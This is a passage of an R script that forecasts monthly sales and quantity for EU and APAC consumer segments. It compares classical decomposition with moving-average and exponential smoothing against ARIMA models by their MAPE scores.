kpss.test(resi) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out <- test$Order_Month global_pred_out <- predict(lmfit,data.frame(Month =timevals_out)) fcast <- global_pred_out #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec <- accuracy(fcast,test[,2])[5] MAPE_class_dec #MAPE 26.65 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred <- c(ts(global_pred),ts(global_pred_out)) plot(EU_Consumer_df_totalts_sales, col = "black") lines(class_dec_pred, col = "red") ## Smoothing TS using Exponential Smoothing Method and checking Accuracy on classical decomposition method : ########## Creating Classical using Exponential Smoothing ############################# plot(train_ts_sales,ylab="Sales") cols <- c("red", "blue", "green","brown","black") alphas <- c(0.02, 0.1, 0.20,0.5) labels <- c(paste("alpha =", alphas), "Original") for (i in seq(1,length(alphas))) { smoothedseries_exp <- HoltWinters(train_ts_sales, alpha=alphas[i], beta=FALSE, gamma=FALSE) lines(fitted(smoothedseries_exp)[,1], col=cols[i], lwd=2) } legend("bottomleft", labels, col=cols, lwd=2) #Visually estimating alpha, alpha 0.20 seems good smoothing: smoothedseries_exp <- HoltWinters(train_ts_sales, alpha=0.20, beta=FALSE, gamma=FALSE) smoothedseries_exp<-fitted(smoothedseries_exp)[,1] #Plot the smoothed time series timevals_in_exp <- train$Order_Month plot(train_ts_sales) lines(smoothedseries_exp, col="blue", lwd=2) smootheddf_exp <- as.data.frame(cbind(timevals_in_exp, as.vector(smoothedseries_exp))) colnames(smootheddf_exp) <- c('Month', 'Sales') str(smootheddf_exp) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_exp <- lm(Sales ~ sin(0.5*Month)* poly(Month,1) + cos(0.5*Month)* poly(Month,1) + Month, data=smootheddf_exp) summary(lmfit_exp) global_pred_exp <- predict(lmfit_exp, Month=timevals_in) summary(global_pred_exp) lines(timevals_in, global_pred_exp, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_exp_exp <- train_ts_sales-global_pred_exp plot(local_pred_exp_exp, col='red', type = "l") acf(local_pred_exp_exp) acf(local_pred_exp_exp, type="partial") armafit <- auto.arima(local_pred_exp_exp) tsdiag(armafit) armafit #We'll check if the residual series is white noise resi <- local_pred_exp_exp-fitted(armafit) adf.test(resi,alternative = "stationary") kpss.test(resi) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months #View(test) timevals_out_exp <- test$Order_Month global_pred_exp_out <- predict(lmfit_exp,data.frame(Month =timevals_out_exp)) fcast_exp <- global_pred_exp_out #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_exp <- accuracy(fcast_exp,test[,2])[5] MAPE_class_dec_exp #MAPE 25.37 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred <- c(ts(global_pred_exp),ts(global_pred_exp_out)) plot(EU_Consumer_df_totalts_sales, col = "black") lines(class_dec_pred, col = "red") ########################################################################################## #Thus, for Classical decomposition method: # # MAPE using moving Average smoothing:26.65 # # Mape using Exponential smoothing:25.37 # ########################################################################################## ############### Forecasting SALES,using ARIMA fit METHOD on EU_Consumer Segment ################ #So, that was classical decomposition, now let's do an ARIMA fit ########################################################################################################################### autoarima <- auto.arima(train_ts_sales) autoarima tsdiag(autoarima) plot(autoarima$x, col="black") lines(fitted(autoarima), col="red") #Again, let's check if the residual series is white noise resi_auto_arima <- train_ts_sales - fitted(autoarima) adf.test(resi_auto_arima,alternative = "stationary") kpss.test(resi_auto_arima) #Also, let's evaluate the model using MAPE fcast_auto_arima <- predict(autoarima, n.ahead = 6) MAPE_auto_arima <- accuracy(fcast_auto_arima$pred,test[,2])[5] MAPE_auto_arima #MAPE 28.92 #Lastly, let's plot the predictions along with original values, to #get a visual feel of the fit auto_arima_pred <- c(fitted(autoarima),ts(fcast_auto_arima$pred)) plot(EU_Consumer_df_totalts_sales, col = "black") lines(auto_arima_pred, col = "red") # Thus ,ARIMA fit is giving decent prediction on test data,and MAPE is 28.9226. #Conclusion:Using Classification Decomposition for SALES Forecast: #with Moving Average Smoothing getting MAPE:26.65 #With Exponential Smoothing getting MAPE:25.37 #Using ARIMA Fit Model:28.9226 ###################################################################################################################### ######### Forecast Quantity on EU_Consumer Segment ###################################### #Converting Quantity to time series: EU_Consumer_df_totalts_quantity <- ts(EU_Consumer_df$Quantity) plot(EU_Consumer_df_totalts_quantity,ylab="EU Consumer Quantity") abline(reg=lm(EU_Consumer_df_totalts_quantity~time(EU_Consumer_df_totalts_quantity))) train_ts_quantity <- ts(train$Quantity) plot(train_ts_quantity,ylab="Quantity") ############# SMOOTHING using Moving Average Smoothing and Exponential Smoothing ############################################### #Smoothing using Moving Average Smoothing and creating Classical Decompsition w <-5 smoothedseries_quantity <- stats::filter(train_ts_quantity, filter=rep(1/(2*w+1),(2*w+1)), method='convolution', sides=2) #Smoothing left end of the time series diff_quantity <- smoothedseries_quantity[w+2] - smoothedseries_quantity[w+1] for (i in seq(w,1,-1)) { smoothedseries_quantity[i] <- smoothedseries_quantity[i+1] - diff_quantity } #Smoothing right end of the time series n <- length(train_ts_quantity) diff_quantity <- smoothedseries_quantity[n-w] - smoothedseries_quantity[n-w-1] for (i in seq(n-w+1, n)) { smoothedseries_quantity[i] <- smoothedseries_quantity[i-1] + diff_quantity } #Plot the smoothed time series timevals_in <- train$Order_Month lines(smoothedseries_quantity, col="blue", lwd=2) ##Building a classical decomposition model on the smoothed time series using Moving Average smoothed series #First, let's convert the time series to a dataframe smootheddf_quantity <- as.data.frame(cbind(timevals_in, as.vector(smoothedseries_quantity))) colnames(smootheddf_quantity) <- c('Month', 'Quantity') str(smootheddf_quantity) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_quantity <- lm(Quantity ~ sin(0.1*Month) * poly(Month,1) + cos(0.1*Month) * poly(Month,1) + Month, data=smootheddf_quantity) summary(lmfit_quantity) global_pred_quantity <- predict(lmfit_quantity, Month=timevals_in) summary(global_pred_quantity) lines(timevals_in, global_pred_quantity, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_quantity <- train_ts_quantity-global_pred_quantity plot(local_pred_quantity, col='red', type = "l") acf(local_pred_quantity) acf(local_pred_quantity, type="partial") armafit_quantity <- auto.arima(local_pred_quantity) tsdiag(armafit_quantity) armafit_quantity #We'll check if the residual series is white noise resi_quantity <- local_pred_quantity-fitted(armafit_quantity) adf.test(resi_quantity,alternative = "stationary") kpss.test(resi_quantity) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_quantity <- test$Order_Month global_pred_out_quantity <- predict(lmfit_quantity,data.frame(Month =timevals_out_quantity)) fcast_quantity <- global_pred_out_quantity #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_quantity <- accuracy(fcast_quantity,test[,3])[5] MAPE_class_dec_quantity #Got MAPE as 26.31 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred_quantity <- c(ts(global_pred_quantity),ts(global_pred_out_quantity)) plot(EU_Consumer_df_totalts_quantity, col = "black") lines(class_dec_pred_quantity, col = "red") ###### Smoothing TS using Exponential Smoothing Method and checking Accuracy on classical decomposition ############## #Exponential Smoothing plot(train_ts_quantity,ylab="Quantity") cols <- c("red", "blue", "green","brown","black") alphas <- c(0.02, 0.1, 0.20,0.5) labels <- c(paste("alpha =", alphas), "Original") for (i in seq(1,length(alphas))) { smoothedseries_exp_quantity <- HoltWinters(train_ts_quantity, alpha=alphas[i], beta=FALSE, gamma=FALSE) lines(fitted(smoothedseries_exp_quantity)[,1], col=cols[i], lwd=2) } legend("bottomleft", labels, col=cols, lwd=2) #Visually estimating alpha, alpha 0.20 seems good smoothing: smoothedseries_quantity_exp <- HoltWinters(train_ts_quantity, alpha=0.20, beta=FALSE, gamma=FALSE) smoothedseries_quantity_exp<-fitted(smoothedseries_quantity_exp)[,1] #Plot the smoothed time series timevals_in_exp <- train$Order_Month plot(train_ts_quantity) lines(smoothedseries_quantity_exp, col="blue", lwd=2) smootheddf_exp_quantity <- as.data.frame(cbind(timevals_in_exp, as.vector(smoothedseries_quantity_exp))) colnames(smootheddf_exp_quantity) <- c('Month', 'Quantity') str(smootheddf_exp_quantity) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_exp_quantity <- lm(Quantity ~ sin(0.5*Month)* poly(Month,1) + cos(0.5*Month)* poly(Month,1) + Month, data=smootheddf_exp_quantity) summary(lmfit_exp_quantity) global_pred_exp_quantity <- predict(lmfit_exp_quantity, Month=timevals_in_exp) summary(global_pred_exp_quantity) lines(timevals_in_exp, global_pred_exp_quantity, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_exp_quantity <- train_ts_quantity-global_pred_exp_quantity plot(local_pred_exp_quantity, col='red', type = "l") acf(local_pred_exp_quantity) acf(local_pred_exp_quantity, type="partial") armafit_exp_quantity <- auto.arima(local_pred_exp_quantity) tsdiag(armafit_exp_quantity) armafit_exp_quantity #We'll check if the residual series is white noise resi_quantity_exp <- local_pred_exp_quantity-fitted(armafit_exp_quantity) adf.test(resi_quantity_exp,alternative = "stationary") kpss.test(resi_quantity_exp) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_exp <- test$Order_Month global_pred_exp_out_quantity <- predict(lmfit_exp_quantity,data.frame(Month =timevals_out_exp)) fcast_exp_quantity <- global_pred_exp_out_quantity #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_exp_quantity <- accuracy(fcast_exp_quantity,test[,3])[5] MAPE_class_dec_exp_quantity #Got MAPE as 28.30 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_exp_pred_quantity <- c(ts(global_pred_exp_quantity),ts(global_pred_exp_out_quantity)) plot(EU_Consumer_df_totalts_quantity, col = "black") lines(class_dec_exp_pred_quantity, col = "red") ########################################################################################## #Thus, for Classical decomposition method for forecast of QUANTITY: # # MAPE using moving Average smoothing:26.31 # # Mape using Exponential smoothing:28.30 # ########################################################################################## ############### Forecasting Quantity,using ARIMA fit METHOD on EU_Consumer Segment ################ ########################################################################################################################### autoarima_quantity <- auto.arima(train_ts_quantity) autoarima_quantity tsdiag(autoarima_quantity) plot(autoarima_quantity$x, col="black") lines(fitted(autoarima_quantity), col="red") #Again, let's check if the residual series is white noise resi_auto_arima_quantity <- train_ts_quantity - fitted(autoarima_quantity) adf.test(resi_auto_arima_quantity,alternative = "stationary") kpss.test(resi_auto_arima_quantity) #Also, let's evaluate the model using MAPE fcast_auto_arima_quantity <- predict(autoarima_quantity, n.ahead = 6) MAPE_auto_arima_quantity <- accuracy(fcast_auto_arima_quantity$pred,test[,3])[5] MAPE_auto_arima_quantity #Got MAPE as 30.13 #Lastly, let's plot the predictions along with original values, to #get a visual feel of the fit auto_arima_pred_quantity <- c(fitted(autoarima_quantity),ts(fcast_auto_arima_quantity$pred)) plot(EU_Consumer_df_totalts_quantity, col = "black") lines(auto_arima_pred_quantity, col = "red") #Conclusion:Using Classification Decomposition for Quantity FORECAST: # with Moving Average Smoothing getting MAPE: 26.31 # With Exponential Smoothing getting MAPE: 28.30 #Using ARIMA Fit Model MAPE: 30.13 ######Forecast Sales on APAC_Consumer Segment ############ #CLASSICAL DECOMPOSITION: ########## Separating APAC_Consumer Segments and forecasting SALES,using CLASSICAL DECOMPOSITION METHOD using Smoothing as: ##################################### ## 1.Moving Average Smoothing ## 2. Exponential Smoothing APAC_Consumer <- gate %>% filter(Market_Segment=="APAC_Consumer") #We need only monthly sales and quantity #For sales and quantity doing forecast using time series,so dropping rest of the coulmn: APAC_Consumer_df <-APAC_Consumer[,c('Order_Month','Sales','Quantity')] APAC_Consumer_df$Order_Month <- as.Date(paste(APAC_Consumer_df$Order_Month,"-01",sep=""),format = "%m-%Y-%d") APAC_Consumer_df$Order_Month <- format(APAC_Consumer_df$Order_Month,"%Y-%m") APAC_Consumer_df <- APAC_Consumer_df[order(APAC_Consumer_df$Order_Month ),] APAC_Consumer_df$Order_Month <- order(APAC_Consumer_df$Order_Month) nrow(APAC_Consumer_df) train_apac <- APAC_Consumer_df[1:42,] test_apac <- APAC_Consumer_df[43:nrow(APAC_Consumer_df),] #Converting Sales to time series: APAC_Consumer_df_totalts_sales <- ts(APAC_Consumer_df$Sales) plot(APAC_Consumer_df_totalts_sales) train_apac_ts_sales <- ts(train_apac$Sales) plot(train_apac_ts_sales,ylab="Sales") #############SMOOTHING using Moving Average Smoothing and Exponential Smoothing ###################### #Smoothing using Moving Average Smoothing ############## w <-7 smoothedseries_apac_ma <- stats::filter(train_apac_ts_sales, filter=rep(1/(2*w+1),(2*w+1)), method='convolution', sides=2) #Smoothing left end of the time series diff_apac_ma <- smoothedseries_apac_ma[w+2] - smoothedseries_apac_ma[w+1] for (i in seq(w,1,-1)) { smoothedseries_apac_ma[i] <- smoothedseries_apac_ma[i+1] - diff_apac_ma } #Smoothing right end of the time series n <- length(train_apac_ts_sales) diff_apac_ma <- smoothedseries_apac_ma[n-w] - smoothedseries_apac_ma[n-w-1] for (i in seq(n-w+1, n)) { smoothedseries_apac_ma[i] <- smoothedseries_apac_ma[i-1] + diff_apac_ma } #Plot the smoothed time series timevals_in_apac <- order(train_apac$Order_Month) lines(smoothedseries_apac_ma, col="blue", lwd=2) #Building a classical decomposition model on the smoothed time series using Moving Average: #First, let's convert the time series to a dataframe smootheddf_apac_ma <- as.data.frame(cbind(timevals_in_apac, as.vector(smoothedseries_apac_ma))) colnames(smootheddf_apac_ma) <- c('Month', 'Sales') str(smootheddf_apac_ma) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_apac_sales_ma <- lm(Sales ~ sin(1*Month) * poly(Month,3) + cos(1*Month) * poly(Month,3) + Month, data=smootheddf_apac_ma) summary(lmfit_apac_sales_ma) global_pred_sales_ma <- predict(lmfit_apac_sales_ma, Month=timevals_in_apac) summary(global_pred_sales_ma) lines(timevals_in_apac, global_pred_sales_ma, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_apac_sales_ma <- train_apac_ts_sales - global_pred_sales_ma plot(local_pred_apac_sales_ma, col='red', type = "l") acf(local_pred_apac_sales_ma) acf(local_pred_apac_sales_ma, type="partial") armafit_apac_sales_ma <- auto.arima(local_pred_apac_sales_ma) tsdiag(armafit_apac_sales_ma) armafit_apac_sales_ma #We'll check if the residual series is white noise resi_apac_sales_ma <- local_pred_apac_sales_ma-fitted(armafit_apac_sales_ma) adf.test(resi_apac_sales_ma,alternative = "stationary") kpss.test(resi_apac_sales_ma) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_apac_sales_ma <- test_apac$Order_Month global_pred_out_apac_sales_ma <- predict(lmfit_apac_sales_ma,data.frame(Month =timevals_out_apac_sales_ma)) fcast_apac_sales_ma <- global_pred_out_apac_sales_ma #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_apac_sales_ma <- accuracy(fcast_apac_sales_ma,test_apac[,2])[5] MAPE_class_dec_apac_sales_ma #MAPE 24.02 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred_apac_sales_ma <- c(ts(global_pred_sales_ma),ts(global_pred_out_apac_sales_ma)) plot(APAC_Consumer_df_totalts_sales, col = "black") lines(class_dec_pred_apac_sales_ma, col = "red") #Thus,we got decent model with MAPE as 24.02 using classical decomposition method with Moving Average Smoothing. #### Now, Trying CLASSICAL DECOMPOSITION MODEL USING EXPONENTIAL SMOOTHING and Checking ACCURACY ######################### plot(train_apac_ts_sales,ylab="Sales") cols <- c("red", "blue", "green","brown","black") alphas <- c(0.02, 0.1, 0.20,0.5) labels <- c(paste("alpha =", alphas), "Original") for (i in seq(1,length(alphas))) { smoothedseries_exp_apac_sales <- HoltWinters(train_apac_ts_sales, alpha=alphas[i], beta=FALSE, gamma=FALSE) lines(fitted(smoothedseries_exp_apac_sales)[,1], col=cols[i], lwd=2) } legend("bottomleft", labels, col=cols, lwd=2) #Visually estimating alpha, alpha 0.20 seems good smoothing: smoothedseries_exp_apac_sales <- HoltWinters(train_apac_ts_sales, alpha=0.20, beta=FALSE, gamma=FALSE) smoothedseries_exp_apac_sales<-fitted(smoothedseries_exp_apac_sales)[,1] #Plot the smoothed time series timevals_in_exp_apac_sales <- train_apac$Order_Month plot(train_apac_ts_sales) lines(smoothedseries_exp_apac_sales, col="blue", lwd=2) smootheddf_exp_apac_sales <- as.data.frame(cbind(timevals_in_exp_apac_sales, as.vector(smoothedseries_exp_apac_sales))) colnames(smootheddf_exp_apac_sales) <- c('Month', 'Sales') str(smootheddf_exp_apac_sales) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_exp_apac_sales <- lm(Sales ~ sin(0.5*Month)* poly(Month,1) + cos(0.5*Month)* poly(Month,1) + Month, data=smootheddf_exp_apac_sales) summary(lmfit_exp_apac_sales) global_pred_exp_apac_sales <- predict(lmfit_exp_apac_sales, Month=timevals_in_apac) summary(global_pred_exp_apac_sales) lines(timevals_in_apac, global_pred_exp_apac_sales, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_exp_apac_sales <- train_apac_ts_sales-global_pred_exp_apac_sales plot(local_pred_exp_apac_sales, col='red', type = "l") acf(local_pred_exp_apac_sales) acf(local_pred_exp_apac_sales, type="partial") armafit_apac_sales_exp <- auto.arima(local_pred_exp_apac_sales) tsdiag(armafit_apac_sales_exp) armafit_apac_sales_exp #We'll check if the residual series is white noise resi_apac_sales_exp <- local_pred_exp_apac_sales-fitted(armafit_apac_sales_exp) adf.test(resi_apac_sales_exp,alternative = "stationary") kpss.test(resi_apac_sales_exp) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_exp_apac_sales <- test_apac$Order_Month global_pred_exp_out_apac_sales <- predict(lmfit_exp_apac_sales,data.frame(Month =timevals_out_exp_apac_sales)) fcast_exp_apac_sales <- global_pred_exp_out_apac_sales #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_exp_apac_sales <- accuracy(fcast_exp_apac_sales,test_apac[,2])[5] MAPE_class_dec_exp_apac_sales #Got MAPE 18.80 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred_apac_sales_exp <- c(ts(global_pred_exp_apac_sales),ts(global_pred_exp_out_apac_sales)) plot(APAC_Consumer_df_totalts_sales, col = "black") lines(class_dec_pred_apac_sales_exp, col = "red") ######################################################################################################################################### #Smoothing using exponential method gave better accuracy than smoothing using Moving Average method in classical decomposition method. #Thus, for Classical decomposition method sales forecast in APAC Consumer Segment is: # MAPE using moving Average smoothing:24.02 # Mape using Exponential smoothing:18.80 ################################################################################################################################# ############### Forecasting SALES,using ARIMA fit METHOD on APAC_Consumer Segment ################ autoarima.exp_apac_sales <- auto.arima(train_apac_ts_sales) autoarima.exp_apac_sales tsdiag(autoarima.exp_apac_sales) plot(autoarima.exp_apac_sales$x, col="black") lines(fitted(autoarima.exp_apac_sales), col="red") #Again, let's check if the residual series is white noise resi_auto_arima_exp_apac_sales <- train_apac_ts_sales - fitted(autoarima.exp_apac_sales) adf.test(resi_auto_arima_exp_apac_sales,alternative = "stationary") kpss.test(resi_auto_arima_exp_apac_sales) #Also, let's evaluate the model using MAPE fcast_auto_arima_exp_apac_sales <- predict(autoarima.exp_apac_sales, n.ahead = 6) MAPE_auto_arima_exp_apac_sales <- accuracy(fcast_auto_arima_exp_apac_sales$pred,test_apac[,2])[5] MAPE_auto_arima_exp_apac_sales #MAPE is 27.68 auto_arima_pred_apac_sales <- c(fitted(autoarima.exp_apac_sales),ts(fcast_auto_arima_exp_apac_sales$pred)) plot(APAC_Consumer_df_totalts_sales, col = "black") lines(auto_arima_pred_apac_sales, col = "red") #Conclusion:Using Classification Decomposition for SALES forecast: #with Moving Average Smoothing getting MAPE:24.01 #With Exponential Smoothing getting MAPE:18.80 #Using ARIMA Fit Model:27.68 ################## Forecast Quantity on APAC_Consumer Segment ############################## #CLASSICAL DECOMPOSITION: ########## Separating APAC_Consumer Segments and forecasting Quantity,using CLASSICAL DECOMPOSITION METHOD using Smoothing as: ##################################### ## 1.Moving Average Smoothing ## 2. Exponential Smoothing #Converting Quantity to time series: APAC_Consumer_df_totalts_Quantity <- ts(APAC_Consumer_df$Quantity) plot(APAC_Consumer_df_totalts_Quantity) train_apac_ts_Quantity <- ts(train_apac$Quantity) plot(train_apac_ts_Quantity,ylab="Quantity") #############SMOOTHING using Moving Average Smoothing and Exponential Smoothing ###################### #Smoothing using Moving Average Smoothing ############## w <-7 smoothedseries_apac_ma_quantity <- stats::filter(train_apac_ts_Quantity, filter=rep(1/(2*w+1),(2*w+1)), method='convolution', sides=2) #Smoothing left end of the time series diff_apac_ma_quantity <- smoothedseries_apac_ma_quantity[w+2] - smoothedseries_apac_ma_quantity[w+1] for (i in seq(w,1,-1)) { smoothedseries_apac_ma_quantity[i] <- smoothedseries_apac_ma_quantity[i+1] - diff_apac_ma_quantity } #Smoothing right end of the time series n <- length(train_apac_ts_Quantity) diff_apac_ma_quantity <- smoothedseries_apac_ma_quantity[n-w] - smoothedseries_apac_ma_quantity[n-w-1] for (i in seq(n-w+1, n)) { smoothedseries_apac_ma_quantity[i] <- smoothedseries_apac_ma_quantity[i-1] + diff_apac_ma_quantity } #Plot the smoothed time series timevals_in_apac_quantity <- train_apac$Order_Month lines(smoothedseries_apac_ma_quantity, col="blue", lwd=2) #Building a classical decomposition model on the smoothed time series using Moving Average: #First, let's convert the time series to a dataframe smootheddf_apac_ma_quantity <- as.data.frame(cbind(timevals_in_apac_quantity, as.vector(smoothedseries_apac_ma_quantity))) colnames(smootheddf_apac_ma_quantity) <- c('Month', 'Quantity') str(smootheddf_apac_ma_quantity) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_apac_quantity_ma <- lm(Quantity ~ sin(1*Month) * poly(Month,3) + cos(1*Month) * poly(Month,3) + Month, data=smootheddf_apac_ma_quantity) summary(lmfit_apac_quantity_ma) global_pred_quantity_ma <- predict(lmfit_apac_quantity_ma, Month=timevals_in_apac_quantity) summary(global_pred_quantity_ma) lines(timevals_in_apac_quantity, global_pred_quantity_ma, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_apac_quantity_ma <- train_apac_ts_Quantity - global_pred_quantity_ma plot(local_pred_apac_quantity_ma, col='red', type = "l") acf(local_pred_apac_quantity_ma) acf(local_pred_apac_quantity_ma, type="partial") armafit_apac_quantity_ma <- auto.arima(local_pred_apac_quantity_ma) tsdiag(armafit_apac_quantity_ma) armafit_apac_quantity_ma #We'll check if the residual series is white noise resi_apac_quantity_ma <- local_pred_apac_quantity_ma-fitted(armafit_apac_quantity_ma) adf.test(resi_apac_quantity_ma,alternative = "stationary") kpss.test(resi_apac_quantity_ma) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_apac_quantity_ma <- test_apac$Order_Month global_pred_out_apac_quantity_ma <- predict(lmfit_apac_quantity_ma,data.frame(Month =timevals_out_apac_quantity_ma)) fcast_apac_quantity_ma <- global_pred_out_apac_quantity_ma #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_apac_quantity_ma <- accuracy(fcast_apac_quantity_ma,test_apac[,3])[5] MAPE_class_dec_apac_quantity_ma #MAPE 22.08 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred_apac_quantity_ma <- c(ts(global_pred_quantity_ma),ts(global_pred_out_apac_quantity_ma)) plot(APAC_Consumer_df_totalts_Quantity, col = "black") lines(class_dec_pred_apac_quantity_ma, col = "red") #Thus,we got decent model with MAPE as 22.08 using classical decomposition method with Moving Average Smoothing. #### Now, Trying CLASSICAL DECOMPOSITION MODEL USING EXPONENTIAL SMOOTHING and Checking ACCURACY ######################### plot(train_apac_ts_Quantity,ylab="quantity") cols <- c("red", "blue", "green","brown","black") alphas <- c(0.02, 0.1, 0.20,0.5) labels <- c(paste("alpha =", alphas), "Original") for (i in seq(1,length(alphas))) { smoothedseries_exp_apac_quantity <- HoltWinters(train_apac_ts_Quantity, alpha=alphas[i], beta=FALSE, gamma=FALSE) lines(fitted(smoothedseries_exp_apac_quantity)[,1], col=cols[i], lwd=2) } legend("bottomleft", labels, col=cols, lwd=2) #Visually estimating alpha, alpha 0.20 seems good smoothing: smoothedseries_exp_apac_quantity <- HoltWinters(train_apac_ts_Quantity, alpha=0.20, beta=FALSE, gamma=FALSE) smoothedseries_exp_apac_quantity<-fitted(smoothedseries_exp_apac_quantity)[,1] #Plot the smoothed time series timevals_in_exp_apac_quantity <- train_apac$Order_Month plot(train_apac_ts_Quantity) lines(smoothedseries_exp_apac_quantity, col="blue", lwd=2) smootheddf_exp_apac_quantity <- as.data.frame(cbind(timevals_in_exp_apac_quantity, as.vector(smoothedseries_exp_apac_quantity))) colnames(smootheddf_exp_apac_quantity) <- c('Month', 'Quantity') str(smootheddf_exp_apac_quantity) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit_exp_apac_quantity <- lm(Quantity ~ sin(0.5*Month)* poly(Month,1) + cos(0.5*Month)* poly(Month,1) + Month, data=smootheddf_exp_apac_quantity) summary(lmfit_exp_apac_quantity) global_pred_exp_apac_quantity <- predict(lmfit_exp_apac_quantity, Month=timevals_in_apac_quantity) summary(global_pred_exp_apac_quantity) lines(timevals_in_apac_quantity, global_pred_exp_apac_quantity, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred_exp_apac_quantity <- train_apac_ts_Quantity-global_pred_exp_apac_quantity plot(local_pred_exp_apac_quantity, col='red', type = "l") acf(local_pred_exp_apac_quantity) acf(local_pred_exp_apac_quantity, type="partial") armafit_apac_quantity_exp <- auto.arima(local_pred_exp_apac_quantity) tsdiag(armafit_apac_quantity_exp) armafit_apac_quantity_exp #We'll check if the residual series is white noise resi_apac_quantity_exp <- local_pred_exp_apac_quantity-fitted(armafit_apac_quantity_exp) adf.test(resi_apac_quantity_exp,alternative = "stationary") kpss.test(resi_apac_quantity_exp) #We confirm with ADF and KPSS test that the residual is White Noise,as #for adf test p-value is smaller,so we accept Null Hypothesis #For kpss p value is greater than .05,hence we failed to accept Null hypothesis and the residual is White noise #Now, let's evaluate the model using MAPE #First, let's make a prediction for the last 6 months timevals_out_exp_apac_quantity <- test_apac$Order_Month global_pred_exp_out_apac_quantity <- predict(lmfit_exp_apac_quantity,data.frame(Month =timevals_out_exp_apac_quantity)) fcast_exp_apac_quantity <- global_pred_exp_out_apac_quantity #Now, let's compare our prediction with the actual values, using MAPE MAPE_class_dec_exp_apac_quantity <- accuracy(fcast_exp_apac_quantity,test_apac[,3])[5] MAPE_class_dec_exp_apac_quantity #Got MAPE 24.30 #Let's also plot the predictions along with original values, to #get a visual feel of the fit class_dec_pred_apac_quantity_exp <- c(ts(global_pred_exp_apac_quantity),ts(global_pred_exp_out_apac_quantity)) plot(APAC_Consumer_df_totalts_Quantity, col = "black") lines(class_dec_pred_apac_quantity_exp, col = "red") ######################################################################################################################################### #Thus, for Classical decomposition method for quantity forecast in APAC Consumer Segment is: # MAPE using moving Average smoothing:22.08 # Mape using Exponential smoothing:24.30 ################################################################################################################################# ############### Forecasting Quantity,using ARIMA fit METHOD on APAC_Consumer Segment ################ autoarima.exp_apac_quantity <- auto.arima(train_apac_ts_Quantity) autoarima.exp_apac_quantity tsdiag(autoarima.exp_apac_quantity) plot(autoarima.exp_apac_quantity$x, col="black") lines(fitted(autoarima.exp_apac_quantity), col="red") #Again, let's check if the residual series is white noise resi_auto_arima_exp_apac_quantity <- train_apac_ts_Quantity - fitted(autoarima.exp_apac_quantity) adf.test(resi_auto_arima_exp_apac_quantity,alternative = "stationary") kpss.test(resi_auto_arima_exp_apac_quantity) #Also, let's evaluate the model using MAPE fcast_auto_arima_exp_apac_quantity <- predict(autoarima.exp_apac_quantity, n.ahead = 6) MAPE_auto_arima_exp_apac_quantity <- accuracy(fcast_auto_arima_exp_apac_quantity$pred,test_apac[,3])[5] MAPE_auto_arima_exp_apac_quantity #MAPE is 26.24 auto_arima_pred_apac_quantity_ <- c(fitted(autoarima.exp_apac_quantity),ts(fcast_auto_arima_exp_apac_quantity$pred)) plot(APAC_Consumer_df_totalts_Quantity, col = "black") 